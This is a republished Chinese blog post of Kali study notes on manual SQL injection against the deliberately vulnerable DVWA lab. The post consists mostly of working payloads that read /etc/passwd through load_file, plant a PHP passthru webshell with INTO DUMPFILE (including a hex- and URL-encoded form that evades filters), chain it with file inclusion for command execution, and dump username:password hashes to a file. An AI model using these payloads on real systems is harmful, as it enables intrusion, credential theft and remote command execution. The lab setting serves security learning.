Kali学习笔记40:SQL手工注入(2)

摘要:
上一篇讲到可以通过注入得到数据库中所有的表信息而SQL注入能不能做数据库之外的事情呢?以及换行符,我们再使用tr去除换行符得到一堆16进制,复制出来,替换位置'unionselectnull,INTODUMPFILE"/tmp/b.php"--发送之后,理论上会成功,但是由于URL过长,报错可以换一个小木马,甚至就使用刚才的a.php'%20union%20select%20null,%20%20INTO%20DUMPFILE%20"/tmp/b.php"%20--%20进行URL编码后就是上边的结果:注意(0x之前必须加一个空格!在metasploitable中查到了,实际上就是刚才的a.php内容,但是我们使用十六进制编码绕过了过滤验证命令执行:成功!

上一篇讲到可以通过注入得到数据库中所有的表信息

而SQL注入能不能做数据库之外的事情呢?

读取文件:

' union select null,load_file('/etc/passwd') --

Kali学习笔记40:SQL手工注入(2)第1张

为了方便进行测试,后边我使用Burpsuite

既然可以读取文件了,那么也就可以写文件:比如经典的PHP一句话

' union select null,"<?php passthru($_GET['cmd']);?>" INTO DUMPFILE "/var/www/a.php" --

Kali学习笔记40:SQL手工注入(2)第2张

结果是无法写入文件,这是什么原因呢?

我猜测是目录权限的问题

于是去掉/var/www

' union select null,"<?php passthru($_GET['cmd']);?>" INTO DUMPFILE 'a.php' --

Kali学习笔记40:SQL手工注入(2)第3张

成功,所以得出应该是目录问题

首先我们看一下上传成功的文件在哪个目录:

Kali学习笔记40:SQL手工注入(2)第4张

发现在/var/lib/mysql/dvwa下存放

Kali学习笔记40:SQL手工注入(2)第5张

查看后发现属主和属组是Mysql,其他用户无法访问,甚至mysql组其他用户都没有权限

然后我们以root的身份进入dvwa目录查看a.php

Kali学习笔记40:SQL手工注入(2)第6张

那么我们就没有办法把这一句话PHP文件写入到指定位置了吗?

我们可以结合以前提到的文件包含漏洞,写入通用目录/tmp/,最终达到命令执行

实现:

写入:注意这里的单双引号

' union select null,"<?php passthru($_GET['cmd']);?>" INTO DUMPFILE "/tmp/a.php" --

然后利用文件包含漏洞:

Kali学习笔记40:SQL手工注入(2)第7张

最终成功!

所以SQL注入写文件,是以mysql用户写入的,所以可以采用中间目录的方法,然后结合其他漏洞完成命令执行

如果目标系统管理员的权限配置不当,那么只要能够SQL注入,就可以直接拿到shell

既然可以上传一句话PHP,那么也可以上传反弹连接PHP脚本

找到Kali自带的PHP反弹连接脚本,重命名为b.php,利用xxd转换为十六进制

由于服务器通常会过滤<?以及换行符,我们再使用tr去除换行符

Kali学习笔记40:SQL手工注入(2)第8张

得到一堆16进制,复制出来,替换位置(1)

' union select null,(0x(1)) INTO DUMPFILE "/tmp/b.php" --

发送之后,理论上会成功,但是由于URL过长,报错

Kali学习笔记40:SQL手工注入(2)第9张

可以换一个小木马,甚至就使用刚才的a.php

'%20union%20select%20null,%20(0x3c3f70687020706173737468727528245f4745545b27636d64275d293b3f3e)%20INTO%20DUMPFILE%20"/tmp/b.php"%20--%20

进行URL编码后就是上边的结果:注意(0x之前必须加一个空格

Kali学习笔记40:SQL手工注入(2)第10张

在metasploitable中查到了,实际上就是刚才的a.php内容,但是我们使用十六进制编码绕过了过滤

验证命令执行:

Kali学习笔记40:SQL手工注入(2)第11张

成功!

有时候,数据库的内容太多,我们不可以在一个页面中观看

所以考虑如何直接把数据库下载下来

' union select null,concat(user,0x3a,password) from users INTO OUTFILE "/tmp/a.db" --

查看:

Kali学习笔记40:SQL手工注入(2)第12张

扩展:一个思路

我们甚至可以直接给目标开发一个功能:自定义一个表单,输入信息,然后在数据库插入信息

 ' union select null,'<?php if(isset($_POST["submit"])) { $userID = $_POST["userID"]; $first_name
= $_POST["first_name"]; $last_name = $_POST["last_name"]; $username =
$_POST["username"]; $avatar = $_POST["avatar"]; echo "userID: $userID<BR>"; echo
"first_name: $first_name<BR>"; echo "last_name: $last_name<BR>"; echo "username:
$username<BR>"; echo "avatar: $avatar<BR>";
$con=mysqli_connect("127.0.0.1","root","","dvwa"); if (mysqli_connect_errno()) { echo
"Failed to connect to MySQL: " . mysqli_connect_error(); } else { echo "Connected to
database<BR>"; } $password = "123"; $sql="insert into dvwa.users values (\"$userID\",
"$first_name\",\"$last_name\",\"$username\",MD5(\"$password\"),\"$avatar
")"; if (mysqli_query($con,$sql)) { echo "[Successful Insertion]: $sql"; } else { echo "Error
creating database: " . mysqli_error($con); } mysqli_close($con); } ?> <form method="post"
action="<?php echo $_SERVER["PHP_SELF"]; ?>"> <input type="text" name="userID"
><br> <input type="text" name="first_name"><br> <input type="text" name="last_name"><br> <input type="text" name="username"><br> <input type="text" name="avatar"><br> <input type="submit" name="submit" value="Submit Form"><br> </form>' INTO DUMPFILE "/tmp/user.php" --

然后利用文件包含漏洞,即可利用

这种方式实际上并没有成功,不过可以作为一个思路

免责声明:文章转载自《Kali学习笔记40:SQL手工注入(2)》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇SharePoint 2010必备组件下载链接Unity3d—GUI能量条下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

临时表与表变量深入探究

临时表或表变量我们一般用来充当中间结果集,很多时候都在用,但真正了解他们之间的区别的人还是很少的,网上流传的说法也不甚统一,所以今天我就做一个实验,让我们看看临时表和表变量的区别,以及他们各自的用途。 执行以下语句,对测试环境做准备 DBCC DROPCLEANBUFFERS --从缓冲池中删除所有清除缓冲区 DBCC FREEPROCCACHE...

ms sql server 2005数据库日志文件过大,需要清除或者清空

数据库:ms sql server 2005 任务:ms sql server 2005数据库日志文件过大,需要清除。 方法: backup log [你的数据库名称] WITH NO_LOGbackup log [你的数据库名称] WITH TRUNCATE_ONLYDBCC SHRINKDATABASE([你的数据库名称]) 说明: backup lo...

WEB新手之sql注入

  继续写题。   这题看上去是一道sql注入题。F12查看后台代码。   可以看到后台有两个变量,分别是uname以及passwd。然后接下来读一下后台的代码,这里的意思是,如果用户输入的密码经过md5加密后,和通过select语句选出来的password相等,则输出“login success”,否则输出“login fail”。利用这里md5()...

apache+php+mysql配置

---------------------------------------------------- ★软件工具:(下载时注意下载相应版本,不同版本安装细节可能会有差异!!) 1>httpd-2.4.18-win64-VC14.zip下载地址:http://www.apachelounge.com/download/ 2>php-5.6.16...

tp5--模型关联

来源于:https://blog.csdn.net/u012600104/article/details/78927629 先说明,模型关联和join管理是不一样的,用文章和评论的关系来举例。(一对多关系) 一篇文章下可以有很多的评论。 (模型关联)前者只能查询到这个文章下的所有评论,并不能查看文章自己本身,不能将文章某些字段关联到评论上。 (join关联...

LL(1)文法的判断,递归下降分析程序

1. 文法G(S): (1)S-> AB (2)A ->Da|ε (3)B-> cC (4)C-> aADC|ε (5)D-> b|ε 验证文法G(S)是不是LL(1)文法? First(Da)={b,a} First(ε)={ε} First(aADC)={a} First(b)={b} Follow(A)={c,b,a,#...